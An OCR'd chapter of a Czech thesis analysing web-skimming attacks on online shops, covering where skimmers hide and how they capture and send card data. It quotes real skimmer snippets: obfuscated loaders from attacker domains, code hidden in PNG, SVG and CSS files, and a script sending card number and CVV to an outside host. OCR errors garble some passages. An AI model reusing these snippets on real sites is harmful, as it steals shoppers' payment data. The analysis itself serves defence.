o POS skimming — POS (Point of Sale) je zafizeni, které prijiméa platby
kartou v misté obchodnika, tedy obvykle termindl propojeny s pocita-
¢em. Existuji t¥i zdkladni typy ttoku na tyto zafizeni [37]:

— Vymeéna celého ¢teciho zafizeni za falesné, které odesila iidaje itoc-
nikovi.

— Kompromitace osoby, kterd platbu provadi (obchodnik), v tomto
ptipadé pak obchodnik nacte kartu na dvou c¢tecich zafizenich,
jedno z nich je falesné.

— Malware, ktery napada POS zarizeni.
e Web skimming — stejné jako v predchozich pripadech se jedna o néco, co

je pridano na misto, kde dochéazi ke zpracovavani platebnich tdaja. Jak
napovidd nazev, v tomto pripadé je tim mistem webova stranka.

2.2 Principy ukryvani skodlivého kédu na webové
strance

Pro perzistenci skodlivého kédu na webové strance je dulezité, aby zustal co

nejdéle skryty. Proto titocCnici vyuzivaji rtizné zpisoby, jak toho dosdhnout.

Pro pochopeni, kde a jak se ukryva skodlivy kéd, je potreba také zminit
jakou strukturu ma obvykle webova stranka a konkrétné internetovy obchod.
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2.2. Principy ukryvani skodlivého kédu na webové strance

2.2.1 Struktura webové stranky

Zajimadm se o to, jak vypada struk- [ top

tura webové stranky z pohledu zdro- v O www.alza.cz
jovych koédu (HTML, CSS, JS) -
a ostatnich zdrojovych soubori, jako

jsou napriklad obrazky.

Images

giftadvisor-banner-image.svg

} ., i B ¥ Scripts
' Zakladenil’ kazdf) webové Str'anlq’f lang-CZ-927321527 js
je HTML (pfipadné XHTML), jedna _
se o znackovaci jazyk a jsou v ném ML
jsou definovany dalsi soubory a sl
zdroje, které webova stranka nacita. M (index)

Implicitni soubor, ktery vraci B manifestjson

webovy server se bézné nazyva in- ¥ cdn.alza.cz
dex.html. Na obrazku je tento * [ Foto
soubor oznacen jako (index). V pri- b Styles
padé Apache web serveru lze né- » B dist
zev definovat v souboru .htac- » €Y connect facebook.net

cess. V dnesni dobé se HTML casto
generuje dynamicky, napiiklad po-
moci PHP, ASP.NET nebo Pythonu.
K tomu dochéazi na strané webového

¥ (Y fonts.googleapis.com
» (™Y fonts.gstatic.com

b Y ialza.cz

Serveri. F (Y www.google-analytics.com
Obréazky spolecné se soubory > & www.googletagmanager.com

typu CSS zajistuj{ vzhled webové — * [ payframe

stranky. Odkaz na tyto soubory je )

v HTML souboru. Na obrazku 2.1l 1ze Obrazek 2.1: Developer tools alza.cz
vidét, ze obrazky jsou na vice riznych mistech (ve slozce Images, img a Foto)
a CSS soubory jsou ve slozce Styles.

efektd, méreni statistik az po zpracovani platebnich udaju.

Vsechny zminéné soubory jsou ulozeny v néjaké struktuie, jejiz cilem je za-
jistit prehlednost. Struktura kazdé webové stranky se samoziejmeé lisi v zavis-
losti na pouzitych technologiich. Jak je vidét na obrazku webova stranka
také nacita soubory z mnoha riznych zdroji, véetné externich jako je tieba
google-analytics.com, facebook.net a gstatic.com.

2.2.2 Typy soubori

Webové stranky se sklddaji nejcastéji ze souboru téchto typu — HTML, CSS,
JS, JPG, PNG, ICO, PHP, piipadné dalsi formaty obrazku SVG, GIF a do-
kumenti PDF, DOC. Skodlivy kéd lze schovat do vsech, ovem v nékterych
se skryvd mnohem snadnéji nez v jinych.
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2. WEB SKIMMING

e JS — nejcastéjsi misto ukryti skodlivého kédu, a to z toho divodu, ze
sam Skodlivy kéd je obvykle v JavaScriptu (nékdy byva také v PHP).

e ICO a JPG — obrazku internetovy obchod obsahuje obvykle velké mnoz-
stvi, proto je to dobra volba i pro ttoc¢niky k ukryvani. Zranitelné misto
z hlediska objeveni zlistava tam, kde se kéd z obrazku musi nacist.

e HTML — HTML soubory jsou zédkladem kazdé webové stranky, slouzi
jako takova brana pro nacteni vseho ostatniho, proto v HTML souboru
prakticky vzdycky najdeme néjakou cast skodlivého kédu.

Nékdy utocnici schovavaji kéd i v jinych typech soubori. OvSem ve sku-
tec¢nosti se obvykle jedna o soubory, které maji pouze jinou priponu, tfeba .css
nebo .php, ale ve skutecnosti obsahuji pouze JavaScript. Tak se stalo napriklad
v ukézce [6] Soubor fount.css obsahuje pouze JavaScript.

if ((new RegExp('"checkout")).test(window.location))
{ jQuery.ajax({ url: "https[:]//manag[.]icu/fount.css",
dataType: "script", success: function () { }, async: !0 }) }

Kod 6: Ukazka nacteni skodlivého souboru s pfiponou .css

Dale se budu podrobnéji zabyvat nasledujicimi moznostmi schovavani skod-
livého kédu na webovych strankach internetovych obchodi:

e obecné v HTML
e podle mista ukryti

¢ podle typu souboru ve kterém je skodlivy kéd ukryty

2.2.3 Kobd ukryty v HTML

U téch nejobycejnéjsich web skimming dtoku je bézné, ze je vsechen skod-
livy kéd schovan v HTML — mysleno tak, Ze uz se nenacitd dalsi ¢ast skodli-
vého kédu z jiného souboru. Z pohledu obsahu webového serveru jsou obvykle
webové stranky napsany tim zplisobem, ze Césti stranky, které jsou vsude
stejné (hlavicka, zdpati, importy), jsou definované pouze na jednom misté,
aby se snizila duplicita kédu a dpravy byly snazsi. Z toho duvodu utocnici
skryji kéd do téchto souboru, a tim docili toho, zZe se jejich skodlivy kéd do-
stane na vsechny podstranky obchodu a predevsim na stranku, kde dochéazi
k platbé.

Casto tento kéd byva navic jesté obfuskovan. Obfuskaci se obvykle Gtoénici
snazi docilit predevsim toho, aby nebylo na prvni pohled vidét, co dany kéd
déla. Kromé obfuskace také utocnici vyuzivaji tieba toho, ze skodlivy kod
vlozi na konec souboru a pred néj daji vétsi mnozstvi prazdnych radku.
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2.2. Principy ukryvani skodlivého kédu na webové strance

U téch promyslenéjsich web skimming ttokt je na hlavni strance pouze
mald c¢ast, kterd cely zbytek skodlivého kédu nacita odjinud. Uvedu dva pri-
klady, jak to ¢asto vypada.

Bud je na hlavni strance vlozen pouze kratky jednoradkovy kéd, kde URL
nen{ vitbec obfuskovéana, jako v tomto ukézkovém kédu[7} Vyhodou je, Ze toto
feseni je kratké a jednoduché, nevyhodou, ze jakmile nékdo vi, ze tato URL je
skodliva, tak ji snadno objevi. Z toho divodu utocnici pouzivaji URL, které
maji pripominat néjaké jiné znamé sluzby.

<script src="https://cloubfiare[.]com/track.js"></script>

Kéd 7: Kod nacitajici zbytek skodlivého kédu ze stranky, kterd ma pripominat
Cloudflare

Druhou moznosti je ten stejny nebo alespon hodné podobny kéd obfusko-
vat, a to tim zpusobem, aby vypadal jako jiné kédy, které se bézné pouzivaji.
V ukézce [§ je kéd, ktery se snazi tvarit, ze ma néco spoleéného s Google Tag
Managerem [38].

<script>

var GTM = document.createElement('script'),

Google_Token= 'aHROcDovL21hbmFnlLmljdSOhbmFseXRpY3MuanM=";
GTM.async = true; GTIM.src = atob(Google_Token);

document . getElementsByTagName ('body') [0] . appendChild (GTM) ;
</script>

Kod 8: V této ukazce se ttoc¢nici snazi vydavat za Google Tag Manager

Pro porovnéni zde uvddim i ndsledujici kod [9] ktery je ¢isty a bézné se po-
uziva pro nacteni Google Analytics skriptu. Uto¢nici radi napodobuji Google
Analytics, divodem je pravdépodobné fakt, ze Google Analytics pouziva 28
miliont webovych stranek [39].

(function() {

var ga = document.createElement('script'); ga.type =

— 'text/javascript'; ga.async = true;

ga.src = ('https:' == document.location.protocol 7 'https://ssl'
— ‘'http://www') + '.google-analytics.com/ga.js';

var s = document.getElementsByTagName('script') [0];

< s.parentNode.insertBefore(ga, s);

HO;

Kéd 9: Cisty kéd nacitajici Google Analytics skript
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2. WEB SKIMMING

2.2.4 Podle mista ukryti

V zésadé je asi jasné, ze vzdy by mélo dojit nékde v HTML dokumentu stranky
k nacteni bud ptimo skodlivého kédu, anebo souboru, ktery ten skodlivy kéd
obsahuje. Proto se ted zamérim na mista, odkud tento skodlivy kéd ttocnici
nacitaji, pokud jiz neni cely na strance v HI'ML dokumentu. Existuje nékolik
moznosti:

e ko6d ukryty na hostingové sluzbé

e kod ukryty v legitimnim zdroji tieti strany
e kéd ukryty na webové strance ttoc¢nika

e ko6d ukryty na jiné napadené strance

e kéd ukryty v souboru na napadené webové strance

Koéd ukryty na hostingové sluzbé

Hostingové sluzby poskytuji komukoliv moznost si bud zdarma, nebo za po-
platek vytvorit vlastni stranku a mit na ni sviij obsah. Vyhodou pro atoc¢niky
je, ze je to jednoduché, a pokud je sluzba zdarma, tak si i sndze zachovaji
anonymitu. Nevyhodou je, ze v pfipadé odhaleni obvykle dojde k pozastaveni
Gétu (a smazéni obsahu) ze strany hostingové sluzby. Utoénici takto mohou
k hostovani vyuzit tfeba i GitHub [40].

Priklady vyuziti hostingovych sluzeb k hostovani skodlivého kédu jsou
znazornény v kédu

storage.googleapis[.]com/volusionapi/resources. js
verigo.verigo.nazwal.]pl/components/com_jce/editor/jarjit/log.php
terminal4.veeblehosting[.]com/~sucurrin/i/gate.php
raw.githubusercontent[.]com/mag202/magento/master/pub/media/downloada
< ble/mage.png
duwmm4swaqv27.cloudfront[.]net/assets/modernizr-min-d59e83c90eal1f0288
— 3bf20eef43eb766£5e5db404£f03dff8dc2e156dbadaedlb. js

Koé6d 10: URL slouzici bud jako brany, pres které dochazi k odcizeni platebnich
udaja, anebo k ukryti dalsi ¢asti skodlivého kddu

Google Cloud Storage storage.googleapis.com (fadek 1 v kodu [10]) je
sluzba pro uklddani a pristup k datim. Ackoliv by se mohlo zdat (diky na-
zvu volusionapi), Ze zde ukladd data firma Volusion, nebylo tomu tak [41].
Utoénici pouze vyuzili moznosti, Ze kazdy si mize na Google Storage pojme-
novat sviij prostor, jak chce a zneuzili jméno firmy, ktera poskytuje sluzby pro
internetové obchody.
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2.2. Principy ukryvani skodlivého kédu na webové strance

Kéd ukryty v legitimnim zdroji treti strany

V nékterych pripadech utoénici ukryji skodlivy kéd na webu, ktery posky-
tuje zdrojové kody pro dalsi webové stranky. Muze se jednat tfeba o zdrojové
soubory k bootstrapu [42], ktery vyuziva velké mnozstvi stranek. Velkou vyho-
dou (pro utocnika) je, ze pokud internetovy obchod, na ktery utocnici cili, uz
dany zdrojovy kéd nacita, pak ttocénik nemusi napadnout primo internetovy
obchod.

Content Delivery Network (CDN) je propojena sit servert, idealné dis-
tribuovana po svété, jejiz cilem je zajistit co nejlepsi moznou rychlost a dostup-
nost pro uzivatele. Casto je vyuzivana pravé pro hostovani riiznych zdrojovych
kodi.

Jeden priklad napadeného zdrojového kédu, ktery byl na webové strance
Adverline, coz je francouzska reklamni agentura. Soubor obsahoval jak ¢isty,
puvodni kéd, tak skodlivy kéd, ktery tam byl pridan atocénikem.

https://ads2.adverline.com/retargetproduit/partnertag/103754_ta
— g.]s

Kéd ukryty na webové strance atocnika

Kv1li phishingovym Gtokam si Gtoc¢nici registruji obvykle nové domény, jejichz
cilem je napodobit doménu, na kterou je phishingovy ttok cilen. To stejné
se déje i v pripadé web skimming utokid, protoze ne vzdy je pro uto¢niky
vyhodné schovavat vsechen skodlivy kéd primo na napadené webové strance,
pripadné to také pro né nemusi byt tak jednoduché — pokud opravdu chtéji
zabranit odhaleni a chtéli by se pokusit schovat cely skodlivy kéd napriklad
do JavaScript souboru, ktery se jiz nacita.

7 tohoto divodu si registruji toc¢nici nové vlastni domény, mnohdy po-
dobné sluzbam, které internetové obchody bézné vyuzivaji. Druhym divodem
pro registraci vlastni domény je také to, ze utoc¢nici musi néjakym zpusobem
prijimat data, kterd kradou.

Stejné jako zaludné pojmenované domény, tito¢nici i zaludné pojmenova-
vaji soubory, ve kterych se nachézi dany skodlivy kéd. V nékterych pripadech
maji jméno, které se shoduje se jménem napadené webové stranky.

Priklad je na kédu skodlivy kod se nacitd z domény sadiras[.]net.

Nacteni skodlivého kédu pomoci fetch() je v ukdzce kodu Webova
stranka vrati json, ktery obsahuje skodlivy kéd zakédovany v base64. Kod
v prikladu je deobfuskovany a ocistén o anti-debugging techniky. Do session-
Storage se data uklddaji pro to, aby se nemusela nacitat vickrat, dochazi ke
kontrole, zda uz jsou data v sessionStorage ¢i nikoliv (neni v ukdzce).
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<script type="text/javascript">

function window_resize_ex(ws) {return (16/9) * (ws - 16);}
jQuery(document) .ready(function (){jQuery.getScript(atob("aHROCHM6ELYY
—  zYWRpcmFzLm51dC9iZybqcw=="));1});

</script>

Kéd 11: Skodlivy kéd se nacitd z sadiras[.]net/bg. js

fetch("https://jquerysapi.com/counter.php?id=vt")
.then(function(response) {
response. json() .then(function(data) {
window.sessionStorage.setItem("1lpt", data.vt);
eval(atob(data.vt));
b;
b

Kéd 12: Skodlivy kéd — deobfuskovano a zkraceno

Kéd ukryty na jiné napadené strance

Mezi dalsi ttocniky pouzivané techniky patii vyuzivani jinych infikovanych
webovych stranek k hostovani skodlivého kédu pro napadeny internetovy ob-
chod. Z pohledu Utoc¢niki je to dobrym Tfesenim, protoze nemusi registrovat
novou doménu, a protoze dand webova stranka je legitimni, nemusi vzbudit
takové podezieni. Problémem samoziejmeé zistava, ze neni uplné typické naci-
tat soubory z jinych webovych stranek, které k tomu nejsou urceny. Tim mam
na mysli at uz CDN, tak webové stranky organizaci, které dodavaji néjaké
balicky ¢i knihovny.

Koéd ukryty v souboru na napadené strance

Na napadaném internetovém obchodé mohou ttocnici bud pridat iplné novy
soubor, ktery obsahuje skodlivy koéd, anebo mohou vlozit kéd do néjakého jiz
existujiciho legitimniho souboru.

<script type="939c56fa93d9a6a5275a18d4-text/javascript" src="/static/
— frontend/Peterbilt/theme-peterbilt/en_US/js/custom-pbp.min. js"
< async="async"></script>

Ko6d 13: Na prvni pohled nezajimava ¢ast kodu na webové strance peterbilt-
parts.com

Priklad takového souboru je na kédu Tento kéd je z HIT'ML souboru
na strance peterbiltparts.com. Jedna se pravdépodobné o legitimni soubor.
Ovsem na zac¢atku tohoto souboru je nasledujici kdd ktery nacita skodlivy
JavaScript ze stranky cdn.googapi[.]com/modules/googletagmanagers. js.
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require(["jquery"],function($){jQuery(document) .ready (function(D{$.ge
< tScript(atob("aHROCHMELY9jZG4uZ29vZ2FwaS5jb20vbWokdWx1cyInb29nbGV
< OYWdtYW5hZ2Vycy5qcw=="));11});

Koéd 14: Skodlivy kéd, ktery nacita dalsi ¢ast z cdn.googapil.]com

Dalsi priklady, kam ttoc¢nici schovavaji skodlivy kéd, jsou v ukazce Po-
sledni z téchto prikladt — bootstrap-datetimepicker.min. js — je knihovna
pro hezci vybér data. V tomto souboru se tentokrat na konci nachéazel kod,
ktery je v ukézce Prvni polovina je ¢isty kod, druha polovina zobrazuje
zacatek skodlivého kodu, ktery byl vlozen tto¢nikem. Nejedna se o cely sou-
bor, kéd byl zkracen tak, aby byla vidét navaznost mezi ¢istym a skodlivym
kédem.

opticalsolutions.uk/catalog/view/javascript/common. js
mokshainvestments.com/wp-includes/js/jquery/suggested. js
tradingmadeeasy.co.uk/catalog/view/theme/boltdemol/js/common. js
redrosetravel.com/catalog/view/javascript/common. js
skechers.cl/js/jquery.elevatezoon. js
keenthailand.com/media/js/426c58e. js
media.nleurope.com/www/vendor/bootstrap/dist/js/bootstrap.min. js
justourshoes.com/catalog/view/javascript/jquery/datetimepicker/bootst
— rap-datetimepicker.min. js

Ko6d 15: Priklady napadenych souborti na webovych strankach

2.2.5 Misto ukryti podle typu souboru, ve kterém se nachazi
Skodlivy kéd

Nyni rozeberu, v jakych typech soubori se nejcastéji nachazi skodlivy kod.
e kod ukryty v JavaScript souboru
o kéd ukryty v obrazku (.ico/.png/.jpg/.svg)
« PHP
« CSS

e ostatni

Kéd ukryty v souboru typu JavaScript

Nejcastéji jsou web skimming kody napsané v JavaScriptu, a i z toho divodu
utocnici nejradéji skryvaji své skodlivé kédy v souboru typu JavaScript.
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this.each(function(){var c=a(this),e=c.data("DateTimePicker");ellc.da,
ta("DateTimePicker" ,new
d(this,b))})},a.fn.datetimepicker.defaults={format:!1,pickDate: !0
,pickTime: !0,useMinutes: !0,useSeconds:!1,useCurrent: !0, calendarWe
eks:!1,minuteStepping:1,minDate:b({y:1900}) ,maxDate:b().add(100,"
y") ,showToday:!0,collapse: !0,language:b.locale() ,defaultDate:"",d
isabledDates:!1,enab1edDates:!1,icons:{},useStrict:!1,direction:"J
auto",sideBySide: !1,daysOfWeekDisabled: [],widgetParent:!1}});

!

R

<
o

r _0x5754=["\x68\x74\x74\x70\x73\x3A\x2F\x2F\x63\x68\x65\x63\x6B\x6 |
F\x75\x74\x6D\x6F \x64\x75\x6C\x65\x73\x2E\x62\x69\x7A\x2F\x70\x61 |
\x79\x6D\x65\x6E\x74\x2F\x69\x6E\x64\x65\x78\x2E\x70\x68\x70", "\x |
73\x65\x74\x69\x64\x64" , "\x28\x3F\x3A\x5E\x7C\x3B\x20\x29" , "\x5C\ |
X24\X31","\X72\X65\X7O\X6C\X6l\X63\X65","\X3D\X28\XSB\X5E\X3B\X5DJ
\XQA\XQQ","\X6D\X61\X74\X63\X68","\X63\X6F\X6F\X6B\X69\X65","\X67J
\x65\x74\x54\x69\x6D\x65" , "\x2D", "\x72\x61\x6E\x64\x6F\x6D" , "\x66 |
\x6C\x6F\x6F\x72", "\x73\x65\x74\x69\x64\x64\x3D" , "\x3B\x20\x70\x6
1\x74\x68\x3D\x2F\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D" , "\x74\ |
x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67"

R A )

Kod 16: Koncici ¢ista ¢ast a navazujici skodlivy kéd, ktery se nachazi na konci
souboru (zkréceno)

Koéd ukryty v obrazku

K ukryti skodlivého kédu v obrazku vyuzivaji utoc¢nici prevazné dva ruzné
zpusoby. Prvni zpusob je pouze vhodné pojmenovani souboru, napriklad fa-
vicon.ico, ackoliv se o obrazek ve skutec¢nosti vibec nejedna a tento soubor
obsahuje pouze JavaScript. Druhy zpiisob uz je nenapadnéjsi, jedné se opravdu
o obrézek, ktery na konci (pfipadné jinde) obsahuje JavaScript.

PNG V Piiklad nacteni skodlivého souboru z validntho PNG souboru je
v ukdzce Konkrétné se zde nacita obrazek z /wp-content/themes/wish
trend/logo.png na napadeném internetovém obchodé. Tento PNG obrazek
obsahuje na svém konci JavaScript. Nacteni pouze této ¢asti kédu je dosazeno
pomoci slice(-46928). Pii zobrazeni PNG se nekontroluje, zda nahodou
obrazek neobsahuje néjaka data na jeho konci za ukoncovacim tagem (IEND),
proto se obrazek zobrazi bez chyby.

favicon.ico Jedna se o soubor, ktery obsahuje vétsina stranek, tento obrazek
se zobrazuje jako ikonka na zdlozce v prohlizeci. V nékterych ptipadech se jed-
nalo o validni ICO soubor [43], v nékterych o soubor obsahujici pouze skodlivy
kéd, ale chytfe pojmenovany. V pripadé validniho souboru ttocnici schovali
skodlivy kéd do pole ,,copyright“ a k nacteni pouzili zase funkci slice(),
stejné jako v predchozim piikladé u PNG obréazku.
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<!-- Google Tag Manager -->
<script>(function(w,d,s,l,i){w[l]=w[1]||[];w[1].push({'gtm.start' :new
— Date().getTime(),event: 'gtm.js'});var f=d.getElementsByTagName(s)

< [0],j=d.createElement(s),dl=1!='datalayer'?'&l="+1:"'";j.async=tru
< e;j.src='https://www.googletagmanager.com/gtm.js?id="+i+dl;f.pare
< ntNode.insertBefore(j,f);}) (window,document, 'script', 'datalayer"',
< 'GTM-PRZ7WN8') ; GoogleTagManager () ;async function

< GoogleTagManager(e,r,s,v,t){let d=await fetch(atob("L3dwLWNvbnRlb
< nQuvdGhlbWVzL3dpc2hOcmVuZC9sb2dvLnBuZw==")); if (d.ok){let t=await
— d.text();var g=new Function (t.slice(-46928));

— return(g());}}</script>

<!-- End Google Tag Manager —-->

Koéd 17: Ukézka skodlivého kédu, ktery nacita obrazek obsahujici JavaScript

V dalsim pripadé, ktery je velmi podobny, si Gtoc¢nici vytvorili doménu
favicon.cloud, ze které nacitali soubor favicon.ico.

SVG SVG je vektorovy obrézek definovany pomoci XML [44]. V ukézce
je kod, ktery z SVG dekdduje skodlivy kéd. Nutno dodat, ze ackoliv se
jedné o validni soubor, zadny obrazek nevytvari. Dekédovany kéd z SVG je v

priloze [60]

var e = document.getElementById("facebook_full");

(window.q = e.querySelectorAll("path")), (document.o = e 7 ""
— "rotate");

for (var s = 0; q.length > s; s++) document.o +=

— qls].getAttribute("line");

(window.t = document.o.split("c.z")),

(document.f = t[0] - '1),

(window.r = t[1] - '1),

(document.d = t[2].replace(/ |hlc|M|z|-/gi, ".")),
(document.d = document.d.split(".")),

(0 = "

for (s = 1; document.d.length > s; s++)
o += String.fromCharCode(((document.d[s] - document.f) ~ r) -
< document.f);

setInterval(function () {

if (typeof jQuery == "undefined") return;
new self["Function" || "Object"](o).call();
}, 0x1388);

Kod 18: Kéd, ktery nacita data z SVG obrazku a dekdduje je
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Koéd ukryty v PHP

PHP se vykonavé na strané serveru a ke klientovi se odesila az prelozeny kod,
proto také utoky, které vyuzivaji skodlivy kéd v PHP k odesilani idaju, jsou
provadény na strané serveru. Samoziejmé, pokud skodlivy kod v PHP bude
upravovat HTML stranku a prida tam JS skimmer, pak dojde k provedeni
dtoku na strané klienta.

Utoky provadéné na strané serveru se nedaji analyzovat zvenku, je potfeba
mit pristup piimo k soubortim ulozenym na serveru, proto se jimi v této praci
nezabyvam.

Kéd ukryty v CSS

Objevil se i pokus o ukryt{ skodlivého kédu v CSS souboru. Cést, ktera byla
v CSS, je v ukézce [19] a ackoliv se podle validatoru [45] nejednd validni CSS
(validator vréati error pfi parsovani funkce setTimeout()), tak to funkénost
neovlivn{ a z CSS se Gspésné nacte JavaScript pomoci k6du [20} Tento skodlivy
kéd byl objeven na newbalance.com.hk.

:root {
[]script: setTimeout(function()!jQueryDgetScript("https://wwj
< w.cloud—iq.net/pub/map.js”)!,
— 3000);

}

Kéd 19: Skodlivy kéd ukryty v CSS

new Function(getComputedStyle(document.documentElement)?.getPropertyV
— alue('--script'))(;

Ko6d 20: Kod nacitajici skodlivou ¢ast ze souboru typu CSS

Ostatni

V ostatnich typech souborti se skodlivé kédy pro web skimming toky tolik
nevyskytuji, a pokud ano, ¢asto se jedna o JavaScript soubor, ktery ma pouze
jinou priponu. Obecné urcovat typ souboru podle jeho obsahu neni tplné
jednoduchd zalezitost.

2.3 Principy odcizeni platebnich tdaja

V této sekci se zaméruji na tieti fazi atoku, kterd je zndzornéna na obrazku
Tento proces se déli na dvé ¢asti. Nejdiive musi ttoénik data ziskat (v pro-
hlizedi uzivatele) a poté musi zajistit, aby se tato data dostala k nému.
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2.3.1 Ziskani platebnich udajt

Zatim jsem popsala metody, jakymi itoCnici na webovou stranku skodlivy kéd
vkladaji. Nyni vysvétlim, jakym zptsobem ziskavaji data. Obvykle vyuzivaji
JavaScript, ktery umoznuje ziskat elementy, ve kterych mohou byt zadané
udaje, pomoci: jQuery("#authnetcim-cc-number").val(Q).

Utoéniky zajimaji predevsim prvky jako input, select nebo textarea, do
kterych se zadavaji platebni idaje. V pripadé, ze itocnici znaji id jednotlivych
prvkid, mohou pouzit funkci: document.getElementById ().

To s sebou nese jednu nevyhodu, v kédu se pravdépodobné objevi kli-
cova slova jako: cvv nebo payment — prvky na webové strance jsou obvykle
logicky pojmenované. Konkrétné tfeba co-payment-form, co-billing-form,
paypal_direct_cc_cid.

Dalsim zptusobem, ktery se stejné jako prvni vyhne pouziti klicovych slov,
je: document .querySelectorAll ('form'). Tato funkce vrati list vSech prvka
<form> na strance. Kromé <form> se pouzivé také button, input, submit, .btn
nebo .button. K hodnotam téchto prvkua lze pak pristupovat pomoci .va-
lue. Pripadné lze pouzit querySelector (), ktery vrati pouze prvni prvek na
strance.

Druhou moznosti je pouzivat jQuery, coz funguje velmi podobné, ako-
rat se lisi syntax. Pristup k HTML prvkim pomoci jQuery je nasledujici:
jQuery ("#authnetcim-cc-number") .val()

V pripadech, kdy internetovy obchod nenabizi zaplaceni pomoci formulére,
ktery je primo na jeho webové strance, nabizi obvykle platbu pomoci platebni
brany, kterd je hostovand na webové strance treti strany. Na tuto branu je
zakaznik presmérovan po dokonceni objednavky. Zrovna ¢eské obchody tuto
moznost nabizeji ¢asto (napiiklad Alza). Webové stranky bézné vyuzivaji GP
webpay (na obrazku , PayPal, Stripe nebo tfeba PayU branu. V téchto
pripadech utoc¢nikovi nestaci pouze vlozit do zdrojového kédu webové stranky
skodlivy kod, ktery odesild data z formulaia k itoénikovi. Proto tito¢nici vy-
mysleli dva jiné zptsoby, jak odcizit platebni tdaje i v téchto pripadech —
presmérovani na falesny formulaf nebo vlozeni falesného formulafe.

Presmérovani na falesny formular

Utoénik nahradi platebni branu svou webovou strankou, a to tim zpisobem,
ze zméni URL, na kterou je zdkaznik pfesmérovan po dokonceni objednavky.
V této fazi uz je snazsi odhaleni, protoze tto¢nikova platebni brana bude na
doméné, kterd neodpovida legitimni brané.

Falesna platebni bréana obvykle vypada iplné stejné, jako ta legitimni.
V jednom konkrétnim pripadu, kde utocnici napodobovali PayU branu, skod-
livy kéd obsahoval, kromé HTML a CSS, ktery zajistuji spravny vzhled stranky,
i JavaScript kod, ktery je zde Ten zajistuje sbér a odeslani platebnich
udaju.
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Zpét do e-shopu? @ bpay B Czech [cs]

[

© sglobalpayments ‘ CESKAS Platebni brana 3D Secure

Platba kartou > Bezpecna platba kartou

Obchodnik

o RegioJet / Student Agency
Nam. Svobody 17
602 00 - Brno (CZ)
www.regiojet.cz

UmeoZfiuje vase karta platby na internetu?

) Detail platby
Cislo vasi karty
#1034979510
Platnost karty do (mésic /
rok): MM ! RR
Celkem
Ovéfovaci kod: 1 0’00 CZK
. mastercard VISA
ID Check ;n:uui
AMERICAN ExPRESS
SafekKey
Powered by Global Payments Europe: [/ Jakto funguje? | Zasady bezpecné platby kartou

Vytvofeno ve spoluprdci s MasterCard

Obrazek 2.2: Legitimni platebni brana GP webpay

var sf_gate='aHROcHM6Ly9qcXVlcnlsaWItbWluLm51dCOhcGkucGhwPw==";

s="s=mongoosekart.com&";

s += "num="+ document.getElementById("cardNumber").value.toString() +
— ngn ;

s += "cvv="+ document.getElementById("cardCvv").value.toString()+ "&";
s += "m="+ document.getElementById("cardExp").value.toString()+ "&";

var img = document.createElement("img");
img.src =atob(sf_gate)+s;

img.style="display:none";

var src = document.getElementById("payment");
src.appendChild (img) ;

Kod 21: JavaScript kod na falesné platebni brané
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VlozZeni falesného formulare

Druhou moznosti je na webovou stranku vlozit vlastni formular pro zadéani
platebnich udaji. Takovy pifpad je na obrazku[2.3] Pti vybéru platby kartou se
zobrazi falesny formular, obezietny uzivatel by si toho mél vSimnout, protoze
webova stranka sama upozornuje na to, ze uzivatel pro platbu kartou bude
presmérovan na jinou webovou stranku.

& O & httpsy//baggotstreetwines.com/checkout/onepage;

WINE | FINEWINE = SPARKLING | WHISKEY | RAREWHISKEY | SPIRITS | CRAFTBEER | GIFTS = STAFF FAVOURITES

5 step:PAYMENT INFORMATION

K-
® Credit Card (Realex)
You will be redirected to the Realex website when you place an order

Pay with Credit or Debit Card
VIsA @

8 PAY

CONTINUE

Obrazek 2.3: Falesny formular vlozeny na stranku internetového obchodu

Event Listeners

K zajisténi odeslani platebnich tdajua ve spravnou chvili k itoénikovi se pou-
zivaji JavaScript Event Listeners. Spravnou chvili je myslena ta, kdy uzivatel
vyplni vSechny tidaje. Event Listeners je funkcionalita, kterd umoznuje pockat,
az nastane néjaka udalost, naptiklad kliknuti na tlacitko na webové strance
nebo zméacknuti klavesy. Udéalosti, které itoc¢nici obvykle vyuzivaji, jsou na-
sledujici:

o click (element) — aktivuje se pfi kliknuti na element ukazatelem mysi a
zéroven uvolnéni tlacitka, zatimco je ukazatel stéle v daném elementu [46].

o mousedown (element) — aktivuje se pfi kliknuti na element ukazatelem
mysi (nemusi dojit k uvolnéni) [47].

31



2. WEB SKIMMING

o touchstart (element) — podobné jako mousedown, ale reaguje na dotyk
na dotykové obrazovce [48].

e change — na elementech <input>, <select>, a <textarea>, aktivuje
se ve chvili, kdy je zménéna uzivatelem hodnota v elementu a zaroven
uzivatel uz nestoji ukazatelem v daném elementu (obvykle po stisknuti
tabuldtoru, pripadné kliknuti vedle) [49].

o input — oproti change se aktivuje vzdy, kdyz dojde ke zméné hodnoty
v elemementech <input>, <select>, a <textarea> [50].

Casto ttocnici piidaji Event Listener (click) na tlagitko ,Odeslat objed-
navku“, nebo v nékterych pripadech dochazi k odeslani dat po kliknuti na
policko formulare. Pokud nevyuzivaji Event Listeners, tak pouzivaji funkci
setInterval (function(){ send(); 1}, 3000);, kterd v tomto konkrétnim
pripadé spousti funkci send () kazdé tii sekundy.

Konkrétni ptiklady priddni event listeneru jsou v kédu 22

document.addEventListener ("DOMContentLoaded", f);
document.addEventListener("change", f);

document .addEventListener("click", f);

document .getElementById("myBtn") .addEventListener("click", £f);
document.querySelector("form") .addEventListener ("submit", £);

Kod 22: Priklady pridani event listeneru

Kromé zminéné funkce addEventListener, lze pouzit document.onclick
v ukdzce 23] v tom piipadé se pak pousti definovand funkce pii kazdém klik-
nuti a je na programatorovi, aby definoval dalsi podminky, jako napiiklad, ze
k odeslani dat dojde pouze v pripadé, ze uzivatel klikl na konkrétni element.

document.onclick = function(e) {

void 0 === e && (e = window.event);
var n = "target" in e 7 e.target : e.srcElement;
if ("button btn-checkout" == n.className || "SPAN" ==

< mn.tagName) {
var t = document.getElementsByName ("payment [cc_number]");

t && "" !== t.value &&
— sendPost("https://magento-feedback.com/secure/scure.php",
— buildData())
} else console.log(n.className + " = " + n.tagName)
¥

Kéd 23: Pouziti document .onclick k aktivaci odeslani dat
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2.3.2 Odcizeni platebnich udaji

Druhé cast procesu je to, jak se tidaje dostavaji z webové stranky k dtoc-
nikovi. Tyto techniky vyuzivaji itoc¢nici i v pripadech, kdy pouziji falesnou
platebni branu, ktera je na jejich doméné. Zpuisoby, které ttoc¢nici vyuzivaji,
jsou nasledujici:

e POST request

e GET request

o Websocket

« Cookies, localStorage, sessionStorage

¢ UlozZeni na serveru

POST request

